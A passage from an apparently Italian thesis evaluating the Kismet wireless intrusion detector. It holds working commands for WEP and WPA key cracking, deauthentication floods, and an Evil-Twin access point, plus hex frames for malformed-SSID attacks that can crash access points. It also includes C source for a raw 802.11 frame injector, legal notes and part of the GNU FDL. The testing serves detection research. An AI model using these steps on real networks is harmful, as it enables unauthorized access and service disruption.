te un certo payload dati, cifrandolo ogni volta con un diverso IV. Otteniamo
questo eseguendo, ognuno in una shell separata, i seguenti comandi:
a i r ep l ay−ng −3 −b 00 : 1 7 : 9A: 7C: E3 : 1D
−h 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0
a i r ep l ay−ng −0 1 −a 00 : 1 7 : 9A: 7C: E3 : 1D
−c 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0
a i r c rack−ng −z data−01. cap
Figura 5.2: Cracking chiave WEP128
Aireplay e il tool di injection della suite aircrack. Questa sequenza
di operazioni prepara aireplay-ng all’intercettazione e all’injection di ARP
5.3 Penetration test 67
request, generata forzando la ri-autenticazione del client con MAC address
00:14:78:10:C8:55; l’ultimo comando parallelizza alle precedenti attivita il
cracking tramite l’attacco PTW [18]. PTW e un procedimento estremamente
potente, capace di recuperare una chiave a 128 bit con soli 40.000 frame;
metodi precedenti, al contrario, potevano richiederne anche oltre due milioni.
Abbiamo decifrato la chiave WEP in soli 98 secondi (vd. Figura 5.2) e Kismet
non ha noticato nessun alert.
5.3.2 WPA cracking
Come abbiamo osservato in sez. 3.3, l’handshake di associazione dello stan-
dard WPA 1&2 e vulnerabile ad attacchi a dizionario e, in conseguenza, la
chiave deve osservare rigide norme di dimensione (16-20 caratteri) e com-
plessita (alfanumerica piu simboli quali !$ %-&?). Verifichiamo i rischi de-
rivanti dall’utilizzo di password semplici quale, ad esempio, bianconatale.
Per intercettare l’hash da decifrare abbiamo, essenzialmente, due possibilita:
forzare un client ad eseguire una ri-associazione o aspettarne una nuova; sce-
gliamo la prima opzione, decisamente piu rapida ma prona, potenzialmente,
al rilevamento da parte di un WIDS.
Impostiamo nuovamente la modalita RFMON e attiviamo airodump,
quindi deautentichiamo il client 00:14:78:10:C8:55:
airmon−ng stop ath0
airmon−ng s t a r t w i f i 0
airodump−ng −c 6 −−bs s i d 00 : 1 7 : 9A: 7C: E3 : 1D −w data ath0
a i r ep l ay−ng −0 10 −a 00 : 1 7 : 9A: 7C: E3 : 1D
−c 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0
Se non ci sono stati errori, airodump ha catturato l’handshake; pro-
cediamo alla decifrazione dell’hash adoperando un qualsiasi dizionario per
password italiane, disponibile ad esempio presso www.insidepro.com.
68 Verifiche sperimentali
wget www. i n s i d ep r o . com/download/ d i c t i o n a r y i t a l i a n . z ip
unzip d i c t i o n a r y i t a l i a n . z ip
a i r c rack−ng −w i t a l i a n . d i c t
−b 00 : 1 7 : 9A: 7C: E3 : 1D data−01. cap
Il nostro intruso, una macchina Turion64 1.6Ghz dual-core, verifica ap-
prossimativamente 200 chiavi al secondo e ha riscontrato una corrispondenza
in 3 minuti e 53 secondi (vd. Figura 5.3). Kismet notifica un flood di deau-
tenticazioni ma non tenta nessuna interpretazione aggiuntiva sulle cause in
quanto, inoltre, l’intercettazione dell’handshake e puramente passiva.
Figura 5.3: Cracking chiave WPA
5.3.3 Disconnessioni/Deautenticazioni
In realta abbiamo gia indotto numerose deautenticazioni e disassociazioni
perpetrando gli attacchi precedenti. Con aireplay i DOS flood sono un’ope-
razione piuttosto banale; abilitata RFMON e sufficiente eseguire:
a i r ep l ay−ng −0 X −a 00 : 1 7 : 9A: 7C: E3 : 1D
−c 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0
5.3 Penetration test 69
in cui X rappresenta la dimensione del flood.
Una deautenticazione in modalita broadcast, viceversa, e generabile
semplicemente omettendo il parametro -c MAC.
5.3.4 0-length e long SSID
Manipolare il campo identificativo del SSID con valori fuori dagli standard
e una delle pratiche piu comuni per causare buffer overflow e/o per tenta-
re un hacking all’interfaccia di un WIDS (vd. sez. 4.1.3 e 4.2.6). Tra le
varie modalita per alterare un frame e attuare questi e altri attacchi avan-
zati presenteremo due soluzioni, la prima basata su LORCON mentre la
seconda tramite Simple Injector. Simple Injector e un software sviluppato
durante questa tesi per agevolare injection arbitrari in quelle situazioni in
cui le librerie LORCON esibiscono malfunzionamenti e/o instabilita, come
riscontrato, ad esempio, nelle due macchine con kernel 2.6.23 (attualmente
l’ultima versione) usate nei test. Simple Injector, scritto interamente in C e
rilasciato sotto GPLv3, si appoggia direttamente sulle system call del kernel
Linux, evidenziando ottime prestazioni e potenzialita. Per i sorgenti si veda
l’Appendice A.
LORCON
Attualmente LORCON non e disponibile come pacchetto, percio per in-
stallarlo e necessario agire sul trunk svn e procedere ad una compilazione
manuale:
svn co http : //802 . 11 n in j a . net / svn/ lo r con / trunk
cd trunk
. / c on f i gu r e −−p r e f i x=/usr
make && make i n s t a l l
70 Verifiche sperimentali
A meno di errori per dipendenze non soddisfatte, dovrebbe essere pos-
sibile visualizzare la man-page di LORCON (man lorcon). Per eseguire un
semplice injection di frame con long SSID e sufficiente riutilizzare il pro-
gramma C di sez. 4.2.6, sostituendo al codice riportato nel primo box quello
presente nel secondo:
u i n t 8 t packet [ ] = ”\xc4\x00\ x f f \ x7f \x00
\x13\xce\x55\x98\ xe f ” ;
unsigned char beacon [ ] = {0x80 , // Beacon frame
0x00 , // Bit−Flags
0x00 , 0x00 , // Duration time
0 x f f , 0 x f f , 0 x f f , 0 x f f , 0 x f f , 0 x f f , // Des t inaz ione
0x00 , 0x11 , 0x22 , 0x33 , 0x44 , 0x55 , // Sorgente
0x00 , 0x11 , 0x22 , 0x33 , 0x44 , 0x55 , // BSSID
0xc0 , 0x2d , // Fragment
0x92 , 0xc1 , 0xb3 , 0x30 , // Timestamp
0x00 , 0x00 , 0x00 , 0x00 ,
0x64 , 0x00 , // I n t e r v a l l o
0x11 , 0x00 , // Capab i l i t y
0x00 , 0x38 , // SSID(55)
’ a ’ , ’ n ’ , ’O ’ , ’ u ’ , ’ t ’ , ’O ’ , ’ f ’ , ’B ’ , // SSID :
’ o ’ , ’ u ’ , ’ n ’ , ’ d ’ , ’ s ’ , ’ S ’ , ’ S ’ , ’ I ’ ,
’D ’ , ’− ’ , ’ c ’ , ’ a ’ , ’ n ’ , ’Y ’ , ’ o ’ , ’ u ’ ,
’ S ’ , ’ e ’ , ’ e ’ , ’H ’ , ’ o ’ , ’w ’ , ’L ’ , ’ o ’ ,
’ n ’ , ’ g ’ , ’ I ’ , ’ s ’ , ’ I ’ , ’ t ’ , ’ ? ’ , ’ I ’ ,
’ t ’ , ’ I ’ , ’ s ’ , ’ 5 ’ , ’ 6 ’ , ’C ’ , ’ h ’ , ’ a ’ ,
’ r ’ , ’ a ’ , ’ c ’ , ’ t ’ , ’ e ’ , ’ r ’ , ’ s ’ , ’ ! ’
} ;
Simple Injector
Simple Injector permette di effetturare la medesima operazione prelevando
da un file binario i dati da trasmettere; la sintassi d’esecuzione e la seguente:
5.3 Penetration test 71
Usage : s imp l e i n j e c t o r − i INTERFACE −f FILE [−df ] | [−hv ]
−d : choose a de lay in seconds
between two packets ( d e f au l t : 1 s )
−n : choose how many packets
have to send ( d e f au l t : 10)
−h : p r i n t t h i s he lp
−v : p r i n t program ve r s i on
Impostata manualmente la modalita RFMON, l’esempio precedente e piu
semplicemente ripetibile tramite:
. / s imp l e i n j e c t o r − i ath0 −f longSSID . bin
dove longSSID e un file, preparabile con un qualsiasi editor esadecimale,
il cui contenuto e riportato a seguire:
80 00 00 00 ff ff ff ff ff ff 00 11 22 33 44 55 00 11 22 33 44 55 c0 2d 92
c1 b3 30 00 00 00 00 64 00 11 00 00 38 61 6e 4f 75 74 4f 66 42 6f 75 6e 64
73 53 53 49 44 2d 63 61 6e 59 6f 75 53 65 65 48 6f 77 4c 6f 6e 67 49 73 49
74 3f 49 74 49 73 35 36 43 68 61 72 61 63 74 65 72 73 21
In Figura 5.4 controlliamo l’effettiva esecuzione dell’injection, intercettato
con Wireshark. Osserviamo che le potenzialita esprimibili con questi stru-
menti sono limitati solamente dalla nostra immaginazione; ad esempio po-
tremmo effettuare un 0-lenght SSID attack, generando un frame di probe
response con SSID di dimensione nulla, tipicamente fatale per molti access
point:
50 00 3a 01 00 20 a6 4c 43 d0 00 06 25 0c 67 7a 00 06 25 0c 67 7a 40 5f ad
d2 9e 17 04 00 00 00 64 00 01 00 00 00 08 4e 4f 53 53 49 44 01 04 82 84 0b
16 03 01 0b 00
Questi due alterazioni, in particolare, sono rilevabili mediante Kismet; tutta-
via anche qualsiasi altra sequenza di bytes e potenzialmente fonte di exploit
72 Verifiche sperimentali
e Simple Injector (o tools similari) ne permette una facile ed immediata ese-
cuzione. Ovviamente sono effettuabili anche tutti gli attacchi presentati in
sez. 4.2 come, ad esempio, il duration attack.
Figura 5.4: Injection con Simple Injector su Wireshark
5.3.5 Evil-Twin
Ad alcuni sembrera incredibile quanto sia facile perpetrare un Evil-Twin. A
rimarcare questo paradosso (rammentiamo che Evil-Twin e uno degli attacchi
piu pericolosi) questa trattazione non utilizzera alcun strumento esterno,
limitandosi ai programmi base della distribuzione GNU/Linux.
5.3 Penetration test 73
Innanzitutto installiamo macchanger in quanto il MAC spoofing con i
driver madwifi necessita di un procedimento leggermente piu articolato.
apt−get i n s t a l l macchanger
Ora eliminiamo il VAP corrente (Virtual Access Point, ath0 nel nostro
caso), l’interfaccia fittizia impiegata per simulare piu schede WLAN, e disa-
bilitiamo il protocollo IP sulla connessione fisica alla WLAN (wifi0); proce-
diamo cambiando il mac address con quello dell’access point che desideriamo
emulare e riattiviamo lo strato IP.
wlanconf ig ath0 des t roy
ip l i n k s e t dev w i f i 0 down
macchanger −−mac=00:17:9A: 7C: E3 : 1D w i f i 0
ip l i n k s e t dev w i f i 0 up
Concludiamo la procedura ricreando un VAP in modalita ap e impostan-
do lo stesso SSID del nostro obiettivo. Se in una determinata zona il nostro
segnale e piu forte, ad esempio perche potenziato da un’antenna esterna, i
clients tenderanno a connettersi al nostro access point fittizio piuttosto che
a quello legittimo. In alternativa possiamo anche stimolarli con flood di
dissassociazione, costringendoli ad autenticarsi alla nostra stazione.
wlanconf ig ath0 c r ea t e wlandev w i f i 0 wlanmode ap
iwcon f i g ath0 e s s i d SSID
I sensori di Kismet, tuttavia, rilevano non solo la presenza di un nuovo
access point ma notificano anche un alert in quanto percepiscono nella tra-
smissione su un diverso canale con un precedente medesimo MAC address il
pericolo di man in the middle.
In definitiva questi test hanno evidenziato come Kismet mantenga le
proprie promesse ma, tuttavia, hanno anche sottolineato quante ulteriori
74 Verifiche sperimentali
possibilita siano a disposizione di aggressori tecnicamente e tecnologicamen-
te preparati. Kismet, pertanto, fornisce attualmente un supporto troppo
limitato per quegli ambiti aziendali e/o governativi che devono assicurare
un grado di sicurezza medio/elevato ma, viceversa, e perfetto in tutte quelle
modeste realta SOHO cosı numerose nel nostro paese.
Conclusioni
Operare in ambiente wireless e estremamente difficile. In questa tesi abbiamo
evidenziato le nuove problematiche introdotte dalla diffusione delle tecnolo-
gie IEEE 802.11 e, in particolare, abbiamo dimostrato il superamento delle
teorie classiche in materia di sicurezza. Il conseguente vuoto teorico e am-
piamente provato dalla mancanza di strumenti di rilevamento e monitoraggio
efficaci, attualmente in stadi post-embrionali, e non puo essere colmato dai
soli standard di protezione, malgrado questi siano notevolmente migliorati
negli anni (TKIP, CCMP). In aggiunta il mezzo radio, per sua stessa natura
non confinabile fisicamente ed accessibile a chiunque, trasforma tali siste-
mi in meccanismi indispensabili anche in contesti nei quali non sia prevista
l’integrazione della preesistente rete cablata con una WLAN.
Sebbene l’importanza di questi sistemi sia ormai riconosciuta, al mo-
mento non sussistono soluzioni paragonabili alle controparti su rete fissa.
In particolare il settore open source, sostanzialmente rappresentato dal solo
Kismet, ha accumulato un notevole ritardo rispetto a software commerciali
quali, ad esempio, AirDefense (www.airdefense.net) e OmniPeek/AiroPeek
(www.wildpackets.com) che forniscono prodotti meglio integrati e piu intui-
tivi. Kismet, nonostante gli sforzi, mantiene ancora indiscutibilmente la sua
veste di scanner mentre le funzionalita di rilevamente sono piuttosto limitate
e spesso obsolete. I test effettuati confermano queste affermazioni.
Questo scenario, in continua evoluzione, delinea innumerevoli possibili
sviluppi futuri. Tra gli altri segnaliamo la progettazione e l’implementazione
76 Conclusioni
di un’architettura integrata che riunisca in un unico prodotto gli aspetti
di monitoraggio, analisi e interfaccia utente. Inoltre potrebbe essere molto
interessante approfondire nuovi algoritmi di analisi per le anomalie tipiche
dell’ambiente wireless quali, ad esempio, quelli basati sui dati GPS descritti
in questo elaborato.
In ogni caso nei prossimi anni la pervasivita di dispositivi wireless di ogni
genere imporra al mercato la diffusione di sistemi WIDS e, soprattutto, una
sempre crescente richiesta di personale altamente qualificato che, osserviamo,
nel nostro paese e attualmente insufficiente.
Appendice A
Simple Injector - Sorgenti
/∗∗ Simple−I n j e c t o r − a ba s i c i n j e c t o r o f b inary f i l e s on
802.11 networks
∗∗ Copyright 2007 Marco Frison <marco . f r i s on@s tud io . unibo . i t >
∗ Based on a prev ious work o f Yury Bulygin <yur i v .
b u l y g i n@ in t e l . com>
∗∗ Simple−I n j e c t o r i s f r e e so f tware : you can r e d i s t r i b u t e i t
and/or modify
∗ i t under the terms o f the GNU General Pub l i c License as
pub l i s h ed by
∗ the Free Sof tware Foundation , e i t h e r ve r s i on 3 o f the
License , or
∗ ( a t your opt ion ) any l a t e r ve r s i on .
∗∗ Simple−I n j e c t o r i s d i s t r i b u t e d in the hope t ha t i t w i l l be
u s e fu l ,
∗ but WITHOUT ANY WARRANTY; wi thout even the imp l i ed
warranty o f
∗ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
78 Simple Injector - Sorgenti
the
∗ GNU General Pub l i c License f o r more d e t a i l s .
∗∗ You shou ld have r e c e i v ed a copy o f the GNU General Pub l i c
License
∗ a long wi th t h i s program . I f not , see <h t t p ://www. gnu . org /
l i c e n s e s />.
∗∗/
#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
#inc lude <uni s td . h>
#inc lude < f c n t l . h>
#inc lude <s t r i n g . h>
#inc lude <s t r i n g s . h>
#inc lude <errno . h>
#inc lude <sys / socket . h>
#inc lude <arpa/ i n e t . h>
#inc lude <l i nux / i f a r p . h>
#inc lude <sys / i o c t l . h>
#de f i n e MAXREAD 2312
#de f i n e DEFAULTDELAY 1
#de f i n e DEFAULTTOSEND 10
#de f i n e VERSION ” 1 .0 ”
i n t sock fd ;
/∗ program ’ s he l p ∗/void p r i n t h e l p ( ) {
f p r i n t f ( stdout ,
”Usage : s imp l e i n j e c t o r − i INTERFACE −f FILE
[−df ] | [−hv ]\n”
”\ t −d : choose a de lay in seconds between
two packets ( d e f au l t : 1 s ) \n”
79
”\ t −n : choose how many packets have to send
( d e f au l t : 10) \n”
”\ t −h : p r i n t t h i s he lp \n”
”\ t −v : p r i n t program ve r s i on \n”
) ;
e x i t (0 ) ;
}
/∗ program ’ s ve r s i on in format ion ∗/void p r i n t v e r s i o n ( ) {
f p r i n t f ( stdout ,
”Simple−I n j e c t o r v e r s i on %s \n”
”Written by Marco Fr i son <marco . f r i s on@s tud i o
. unibo . i t > \n\n” , VERSION) ;
e x i t (0 ) ;
}
/∗∗ error func t i on hand ler
∗ @msg −> error po in t i d e n t i f i e r
∗/void on e r r o r ( char ∗msg) {
// p r i n t the error
per ro r (msg) ;
// c l o s e the socke t
c l o s e ( sock fd ) ;
e x i t (−1) ;
}
i n t main ( i n t argc , char ∗argv [ ] ) {
s t r u c t i f r e q i f r ;
s t r u c t s o c k add r l l saddr ;
i n t f i l e f d , data sent , s i z e , i ;
i n t de lay = DEFAULTDELAY, to send = DEFAULTTOSEND;
char ∗ i n t e r f a c e = NULL, ∗ f i l ename = NULL;
80 Simple Injector - Sorgenti
unsigned char ∗ bu f f e r ;
// input params check
whi le ( ( i = getopt ( argc , argv , ”h? i : f : d : n : v” ) ) != EOF
) {switch ( i ) {
case ’ i ’ :
i n t e r f a c e = optarg ;
break ;
case ’ f ’ :
f i l ename = optarg ;
break ;
case ’d ’ :
de lay = a t o i ( optarg ) ;
break ;
case ’n ’ :
to send = a to i ( optarg ) ;
break ;
case ’ v ’ :
p r i n t v e r s i o n ( ) ;
break ;
case ’h ’ : d e f au l t :
p r i n t h e l p ( ) ;
}}
// check i n t e r f a c e and f i l ename params
i f ( i n t e r f a c e == NULL | | f i l ename == NULL) {f p r i n t f ( stdout , ”Error ! S e l e c t an i n t e r f a c e
and a f i l e \n” ) ;
p r i n t h e l p ( ) ;
e x i t (−1) ;
}
// ge t i n t e r f a c e index (must open a socke t f i r s t ! )
i f ( ( sock fd = socket (PF INET , SOCK DGRAM, 0) ) < 0) {
81
on e r r o r ( ” socket ( ) ” ) ;
}
// g e t t i n g i t , j u s t a wh i l e
bzero(& i f r , s i z e o f ( i f r ) ) ;
s t r cpy ( i f r . i f r name , i n t e r f a c e ) ;
i f ( i o c t l ( sockfd , SIOCGIFINDEX, &i f r ) ) {on e r r o r ( ” i o c t l ( ) ” ) ;
}
// open a raw socke t
i f ( ( sock fd = socket (PF PACKET, SOCK RAW, htons (
ETH P ALL) ) ) < 0) {on e r r o r ( ” socket ( ) ” ) ;
}
/∗∗ pu l i s h data and s e t s s l i f i n d e x to f i l t e r packe t s
∗ form sources d i f f e r e n t from the choosen i n t e r f a c e
∗/bzero(&saddr , s i z e o f ( saddr ) ) ;
saddr . s l l f a m i l y = AF PACKET;
saddr . s l l i f i n d e x = i f r . i f r i f i n d e x ;
// b ind ing
i f ( bind ( sockfd , ( s t r u c t sockaddr ∗)&saddr , s i z e o f (
saddr ) ) < 0) {on e r r o r ( ”bind ( ) ” ) ;
}
// read the b inary data − 1 s t open the f i l e
i f ( ( f i l e f d = open ( f i l ename , O RDONLY) ) < 0) {on e r r o r ( ”open ( ) ” ) ;
}
/∗
82 Simple Injector - Sorgenti
∗ read at max the f i r s t MAXREAD bytes ,
∗ upperbound f o r Ethernet l a y e r
∗/bu f f e r = ( unsigned char ∗) mal loc ( s i z e o f ( unsigned char )
∗ MAXREAD) ;
i f ( ( s i z e = read ( f i l e f d , bu f f e r , MAXREAD) ) < 1) {c l o s e ( f i l e f d ) ;
on e r r o r ( ” read ( ) ” ) ;
}c l o s e ( f i l e f d ) ;
// send data to send t imes
f o r ( i = 0 ; i < to send ; i++) {// t r y to send
i f ( ( da ta sent = sendto ( sockfd , bu f f e r , s i z e ,
0 , NULL, 0) ) < 0) {on e r r o r ( ” sendto ( ) ” ) ;
}p r i n t f ( ”Sent frame %d o f %d bytes \n” , ( i +1) ,
da ta sent ) ;
// hard work , s l e e p f o r a wh i l e
s l e e p ( de lay ) ;
}
p r i n t f ( ” I n j e c t i o n end\n” ) ;
c l o s e ( sock fd ) ;
r e turn 0 ;
}
Appendice B
Wardriving - Note legali
La legislazione italiana e particolarmente confusa e imprecisa riguardo i com-
portamenti penalmente perseguibili in ambito informatico. In linea di prin-
cipio il wardriving e qualunque altra attivita di scanning non e considerata
illegale se non e diretta a compiere un reato, inteso come rallentamento, in-
terruzione e privazione di servizio o accesso abusivo allo stesso in accordo
con gli articoli 615-ter, 617-quater, 617-quinquies del codice penale (legge n.
547 del 23 Dicembre 1993). In particolare si osservi che l’accesso a una rete
non protetta non configura il reato di accesso abusivo a sistema informati-
co o telematico in quanto la stessa non prevede misure di sicurezza attive
(art. 615-ter); tuttavia l’utilizzo effettivo della banda senza una preventi-
va autorizzazione puo ricadere nella definizione di rallentamento di servizio
e, inoltre, l’utilizzo per scaricare o diffondere materiale pedopornografico o
protetto dal diritto d’autore o per danneggiare altri sistemi informatici pro-
muove l’applicazione degli articoli 600-ter, 494 e 635-bis del codice penale e
la legge 171 sul diritto d’autore.
In questo quadro indistinto, uno scanning attivo, imponendo un utiliz-
zo seppure minimo di banda a tutti soggetti coinvolti, puo essere conforme
alla definizione di rallentamento di servizio. Tutte le tecnologie passive, di-
84 Wardriving - Note legali
versamente, sono equiparabili all’ascolto involontario di una conversazione
pubblica trasmessa in un mezzo condiviso (l’aria) e, in generale, non sanzio-
nabili. In ogni caso e compito del tribunale valutare, caso per caso, la liceita
o meno di queste attivita.
Tutti i test eseguiti in questa tesi sono stati attuati in modalita esclusi-
vamente passiva e gli ulteriori dati pervenuti distrutti.
Appendice C
GNU Free Documentation
License
Version 1.2, November 2002
Copyright c© 2000,2001,2002 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies of this license
document, but changing it is not allowed.
Preamble
The purpose of this License is to make a manual, textbook, or other func-
tional and useful document “free” in the sense of freedom: to assure everyone
the effective freedom to copy and redistribute it, with or without modifying
it, either commercially or noncommercially. Secondarily, this License preser-
ves for the author and publisher a way to get credit for their work, while not
being considered responsible for modifications made by others.
86 GNU Free Documentation License
This License is a kind of “copyleft”, which means that derivative works
of the document must themselves be free in the same sense. It complements
the GNU General Public License, which is a copyleft license designed for free
software.
We have designed this License in order to use it for manuals for free
software, because free software needs free documentation: a free program
should come with manuals providing the same freedoms that the software
does. But this License is not limited to software manuals; it can be used
for any textual work, regardless of subject matter or whether it is published
as a printed book. We recommend this License principally for works whose
purpose is instruction or reference.
C.1 Applicability and definitions
This License applies to any manual or other work, in any medium, that
contains a notice placed by the copyright holder saying it can be distributed
under the terms of this License. Such a notice grants a world-wide, royalty-
free license, unlimited in duration, to use that work under the conditions
stated herein. The “Document”, below, refers to any such manual or work.
Any member of the public is a licensee, and is addressed as “you”. You
accept the license if you copy, modify or distribute the work in a way requiring
permission under copyright law.
A “Modified Version” of the Document means any work containing the
Document or a portion of it, either copied verbatim, or with modifications
and/or translated into another language.
A “Secondary Section” is a named appendix or a front-matter section
of the Document that deals exclusively with the relationship of the publishers
or authors of the Document to the Document’s overall subject (or to rela-
ted matters) and contains nothing that could fall directly within that overall
C.1 Applicability and definitions 87
subject. (Thus, if the Document is in part a textbook of mathematics, a Se-
condary Section may not explain any mathematics.) The relationship could
be a matter of historical connection with the subject or with related matters,
or of legal, commercial, philosophical, ethical or political position regarding
them.
The “Invariant Sections” are certain Secondary Sections whose titles
are designated, as being those of Invariant Sections, in the notice that says
that the Document is released under this License. If a section does not fit
the above definition of Secondary then it is not allowed to be designated
as Invariant. The Document may contain zero Invariant Sections. If the
Document does not identify any Invariant Sections then there are none.
The “Cover Texts” are certain short passages of text that are listed,
as Front-Cover Texts or Back-Cover Texts, in the notice that says that the
Document is released under this License. A Front-Cover Text may be at
most 5 words, and a Back-Cover Text may be at most 25 words.
A “Transparent” copy of the Document means a machine-readable copy,
represented in a format whose specification is available to the general public,
that is suitable for revising the document straightforwardly with generic text
editors or (for images composed of pixels) generic paint programs or (for
drawings) some widely available drawing editor, and that is suitable for input
to text formatters or for automatic translation to a variety of formats suitable
for input to text formatters. A copy made in an otherwise Transparent file
format whose markup, or absence of markup, has been arranged to thwart or
discourage subsequent modification by readers is not Transparent. An image
format is not Transparent if used for any substantial amount of text. A copy
that is not “Transparent” is called “Opaque”.
Examples of suitable formats for Transparent copies include plain ASCII
without markup, Texinfo input format, LaTeX input format, SGML or XML
using a publicly available DTD, and standard-conforming simple HTML,
88 GNU Free Documentation License
PostScript or PDF designed for human modification. Examples of transpa-
rent image formats include PNG, XCF and JPG. Opaque formats include
proprietary formats that can be read and edited only by proprietary word
processors, SGML or XML for which the DTD and/or processing tools are
not generally available, and the machine-generated HTML, PostScript or
PDF produced by some word processors for output purposes only.
The “Title Page” means, for a printed book, the title page itself, plus
such following pages as are needed to hold, legibly, the material this License
requires to appear in the title page. For works in formats which do not have
any title page as such, “Title Page” means the text near the most prominent
appearance of the work’s title, preceding the beginning of the body of the
text.
A section “Entitled XYZ” means a named subunit of the Document
whose title either is precisely XYZ or contains XYZ in parentheses follo-
wing text that translates XYZ in another language. (Here XYZ stands for
a specific section name mentioned below, such as “Acknowledgements”,
“Dedications”, “Endorsements”, or “History”.) To “Preserve the Ti-
tle” of such a section when you modify the Document means that it remains
a section “Entitled XYZ” according to this definition.
The Document may include Warranty Disclaimers next to the notice whi-
ch states that this License applies to the Document. These Warranty Disclai-
mers are considered to be included by reference in this License, but only as
regards disclaiming warranties: any other implication that these Warranty
Disclaimers may have is void and has no effect on the meaning of this License.
C.2 Verbatim copying
You may copy and distribute the Document in any medium, either commer-
cially or noncommercially, provided that this License, the copyright notices,
C.3 Copying in quantity 89
and the license notice saying this License applies to the Document are re-
produced in all copies, and that you add no other conditions whatsoever to
those of this License. You may not use technical measures to obstruct or
control the reading or further copying of the copies you make or distribute.
However, you may accept compensation in exchange for copies. If you distri-
bute a large enough number of copies you must also follow the conditions in
section 3.
You may also lend copies, under the same conditions stated above, and
you may publicly display copies.
C.3 Copying in quantity
If you publish printed copies (or copies in media that commonly have printed
covers) of the Document, numbering more than 100, and the Document’s
license notice requires Cover Texts, you must enclose the copies in covers
that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on
the front cover, and Back-Cover Texts on the back cover. Both covers must
also clearly and legibly identify you as the publisher of these copies. The front
cover must present the full title with all words of the title equally prominent
and visible. You may add other material on the covers in addition. Copying
with changes limited to the covers, as long as they preserve the title of the
Document and satisfy these conditions, can be treated as verbatim copying
in other respects.
If the required texts for either cover are too voluminous to fit legibly,
you should put the first ones listed (as many as fit reasonably) on the actual
cover, and continue the rest onto adjacent pages.
If you publish or distribute Opaque copies of the Document numbering
more than 100, you must either include a machine-readable Transparent co-
py along with each Opaque copy, or state in or with each Opaque copy
90 GNU Free Documentation License
a computer-network location from which the general network-using public
has access to download using public-standard network protocols a complete
Transparent copy of the Document, free of added material. If you use the
latter option, you must take reasonably prudent steps, when you begin di-
stribution of Opaque copies in quantity, to ensure that this Transparent copy
will remain thus accessible at the stated location until at least one year after
the last time you distribute an Opaque copy (directly or through your agents
or retailers) of that edition to the public.
It is requested, but not required, that you contact the authors of the
Document well before redistributing any large number of copies, to give them
a chance to provide you with an updated version of the Document.
C.4 Modifications
You may copy and distribute a Modified Version of the Document under the
conditions of sections 2 and 3 above, provided that you release the Modified
Version under precisely this License, with the Modified Version filling the
role of the Document, thus licensing distribution and modification of the
Modified Version to whoever possesses a copy of it. In addition, you must
do these things in the Modified Version:
A. Use in the Title Page (and on the covers, if any) a title distinct from that
of the Document, and from those of previous versions (which should, if
there were any, be listed in the History section of the Document). You
may use the same title as a previous version if the original publisher of
that version gives permission.
B. List on the Title Page, as authors, one or more persons or entities
responsible for authorship of the modifications in the Modified Version,
together with at least five of the principal authors of the Document (all
C.4 Modifications 91
of its principal authors, if it has fewer than five), unless they release
you from this requirement.
C. State on the Title page the name of the publisher of the Modified
Version, as the publisher.
D. Preserve all the copyright notices of the Document.
E. Add an appropriate copyright notice for your modifications adjacent to
the other copyright notices.
F. Include, immediately after the copyright notices, a license notice giving
the public permission to use the Modified Version under the terms of
this License, in the form shown in the Addendum below.
G. Preserve in that license notice the full lists of Invariant Sections and
required Cover Texts given in the Document’s license notice.
H. Include an unaltered copy of this License.
I. Preserve the section Entitled “History”, Preserve its Title, and add to
it an item stating at least the title, year, new authors, and publisher of
the Modified Version as given on the Title Page. If there is no section
Entitled “History” in the Document, create one stating the title, year,
authors, and publisher of the Document as given on its Title Page, then
add an item describing the Modified Version as stated in the previous
sentence.
J. Preserve the network location, if any, given in the Document for public
access to a Transparent copy of the Document, and likewise the network
locations given in the Document for previous versions it was based on.
These may be placed in the “History” section. You may omit a network
location for a work that was published at least four years before the
Document itself, or if the original publisher of the version it refers to
gives permission.
92 GNU Free Documentation License
K. For any section Entitled “Acknowledgements” or “Dedications”, Pre-
serve the Title of the section, and preserve in the section all the sub-
stance and tone of each of the contributor acknowledgements and/or
dedications given therein.
L. Preserve all the Invariant Sections of the Document, unaltered in their
text and in their titles. Section numbers or the equivalent are not
considered part of the section titles.
M. Delete any section Entitled “Endorsements”. Such a section may not
be included in the Modified Version.
N. Do not retitle any existing section to be Entitled “Endorsements” or
to conflict in title with any Invariant Section.
O. Preserve any Warranty Disclaimers.
If the Modified Version includes new front-matter sections or appendices
that qualify as Secondary Sections and contain no material copied from the
Document, you may at your option designate some or all of these sections
as invariant. To do this, add their titles to the list of Invariant Sections in
the Modified Version’s license notice. These titles must be distinct from any
other section titles.
You may add a section Entitled “Endorsements”, provided it contains
nothing but endorsements of your Modified Version by various parties–for
example, statements of peer review or that the text has been approved by
an organization as the authoritative definition of a standard.
You may add a passage of up to five words as a Front-Cover Text, and a
passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover
Texts in the Modified Version. Only one passage of Front-Cover Text and
one of Back-Cover Text may be added by (or through arrangements made
by) any one entity. If the Document already includes a cover text for the
C.5 Combining documents 93
same cover, previously added by you or by arrangement made by the same
entity you are acting on behalf of, you may not add another; but you may
replace the old one, on explicit permission from the previous publisher that
added the old one.
The author(s) and publisher(s) of the Document do not by this License
give permission to use their names for publicity for or to assert or imply
endorsement of any Modified Version.
C.5 Combining documents
You may combine the Document with other documents released under this
License, under the terms defined in section 4 above for modified versions,
provided that you include in the combination all of the Invariant Sections
of all of the original documents, unmodified, and list them all as Invariant
Sections of your combined work in its license notice, and that you preserve
all their Warranty Disclaimers.
The combined work need only contain one copy of this License, and mul-
tiple identical Invariant Sections may be replaced with a single copy. If there
are multiple Invariant Sections with the same name but different contents,
make the title of each such section unique by adding at the end of it, in
parentheses, the name of the original author or publisher of that section if
known, or else a unique number. Make the same adjustment to the section
titles in the list of Invariant Sections in the license notice of the combined
work.
In the combination, you must combine any sections Entitled “Histo-
ry” in the various original documents, forming one section Entitled “Hi-
story”; likewise combine any sections Entitled “Acknowledgements”, and
any sections Entitled “Dedications”. You must delete all sections Entitled
“Endorsements”.
94 GNU Free Documentation License
C.6 Collections of documents
You may make a collection consisting of the Document and other documents
released under this License, and replace the individual copies of this License
in the various documents with a single copy that is included in the collection,
provided that you follow the rules of this License for verbatim copying of each
of the documents in all other respects.
You may extract a single document from such a collection, and distribute
